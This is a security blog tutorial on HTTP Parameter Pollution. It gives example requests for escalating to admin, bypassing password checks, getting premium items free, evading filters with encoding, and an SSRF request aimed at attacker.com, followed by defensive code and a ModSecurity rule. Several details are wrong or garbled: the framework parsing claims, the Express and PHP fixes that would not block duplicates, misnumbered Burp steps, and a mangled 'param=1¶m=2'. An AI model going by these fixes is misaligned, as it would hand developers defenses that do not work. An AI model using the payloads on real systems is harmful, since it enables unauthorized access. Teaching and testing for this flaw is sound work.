Listen to this Post
Introduction:
HTTP Parameter Pollution (HPP) is a web vulnerability where attackers manipulate duplicate parameters to bypass security checks, escalate privileges, or alter application logic. This technique exploits how servers handle multiple instances of the same parameter—some systems prioritize the first occurrence, while others take the last.
Learning Objectives:
- Understand how HPP vulnerabilities work in different web frameworks.
- Learn exploitation techniques for privilege escalation and logic bypass.
- Master defensive coding and testing strategies to prevent HPP attacks.
1. How HTTP Parameter Pollution Works
Example Exploit:
GET /transfer?amount=100&admin=true&amount=1
What Happens?
- Some frameworks (PHP/Apache) take the first parameter (
amount=100). - Others (ASP.NET/IIS) take the last (
amount=1). - If the app checks `admin=true` but processes the last
amount, an attacker can manipulate transactions.
Step-by-Step Testing:
1. Identify a parameter (e.g., `user_id`, `role`).
2. Duplicate it with conflicting values:
GET /profile?user_id=user&user_id=admin
3. Observe if the app behaves unexpectedly (e.g., grants admin access).
2. Bypassing Input Validation with HPP
Example:
POST /login HTTP/1.1 username=admin&password=12345&password=admin123
Exploit Scenario:
- If the server checks the first `password` but uses the second, weak validation can be bypassed.
Testing Method:
- Use Burp Suite to duplicate parameters.
- Check if backend logic changes based on parameter order.
3. HPP for SSRF & API Abuse
Example (SSRF Bypass):
GET /fetch?url=internal-service&url=https://attacker.com
Impact:
- If the server prioritizes the last
url, internal endpoints can be leaked.
Mitigation:
- Reject duplicate parameters at the WAF level.
- Normalize input before processing.
4. Exploiting Framework-Specific Behaviors
PHP (First Parameter Wins):
GET /buy?item=premium&item=free
Exploit: If billing logic uses the first item, but inventory uses the last, users may get free premium access.
ASP.NET (Last Parameter Wins):
GET /auth?role=guest&role=admin
Risk: If role assignment trusts the last value, privilege escalation occurs.
5. Advanced HPP with Encoding
Using URL Encoding to Obfuscate:
GET /api?user=normal%26user=admin
Decoded: `user=normal&user=admin`
Use Case: Bypass naive input filters.
Defense:
- Decode inputs before validation.
- Use allowlists for parameters.
6. Automated HPP Testing with Burp Suite
Steps:
1. Intercept a request in Burp.
- Right-click → “Engagement tools” → “Generate CSRF PoC”.
3. Manually add duplicate parameters.
4. Submit and analyze responses.
Tool Alternative: OWASP ZAP’s “Parameter Tamper” plugin.
7. Securing Applications Against HPP
Developer Fixes:
- Node.js (Express):
app.use(express.urlencoded({ parameterLimit: 1 })); // Reject duplicates - PHP:
if (count($_GET['param']) > 1) { die("HPP attack detected"); }
WAF Rules:
- ModSecurity Rule:
SecRule &ARGS_GET:param "@gt 1" "deny,msg:'HPP Attack'"
What Undercode Say:
- Key Takeaway 1: HPP is often overlooked in penetration tests but can lead to severe breaches.
- Key Takeaway 2: Framework-specific parsing differences make HPP a versatile attack vector.
Analysis:
HPP remains a potent threat due to inconsistent parameter handling across web technologies. As APIs grow, manual and automated testing must include HPP checks. Bug bounty hunters should prioritize endpoints handling sensitive actions (e.g., payments, auth).
Prediction:
With the rise of microservices and API gateways, HPP attacks will evolve into API parameter smuggling, where attackers exploit multi-layer parameter processing. Enterprises must adopt strict parameter normalization early in development.
Final Tip: Always test `param=1¶m=2` and encoded variants (%26) in your bug bounty workflow! 🚀
IT/Security Reporter URL:
Reported By: Omar Aljabr – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
